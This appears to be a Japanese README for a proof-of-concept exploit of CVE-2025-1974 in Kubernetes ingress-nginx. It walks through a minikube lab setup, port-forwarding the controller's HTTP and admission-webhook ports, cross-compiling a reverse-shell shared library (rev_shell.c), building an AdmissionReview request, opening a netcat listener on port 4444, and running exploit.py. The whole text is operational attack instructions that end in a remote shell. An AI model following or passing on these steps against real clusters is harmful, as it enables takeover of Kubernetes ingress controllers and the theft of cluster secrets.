
CVE-2025-1974 PoC コード
ローカルテストのためにminikubeをインストール
minikube start --driver=docker
以下のコマンドでingress-nginx-controllerを構成
kubectl apply -f ingress-nginx-controller.yml
Podsが正しく動作しているか確認
kubectl get pods -n ingress-nginx
kubectl describe <pod name> -n ingress-nginx
Podsの80、8443(webhook)ポートをローカルの8888、1337ポートにポートフォワーディング (ポートフォワーディング80、8443両方必要)
kubectl port-forward -n ingress-nginx <pod name> 8888:80
kubectl port-forward -n ingress-nginx <pod name> 1337:8443
rev_shell.cでリバースシェルを接続するIP、Portを変更
MacOS(arm64)環境でコンパイル、テスト環境に合わせてコンパイルが必要
aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c
# 크로스컴파일러 설치
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
kube-reviewでAdmissionReview形式に変換(json)
./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json
リバースシェルのためにncでリバースシェル接続を準備
nc -lv 4444
exploit.pyでnginx、webhookのhost及びportを修正後実行
python3 exploit.py
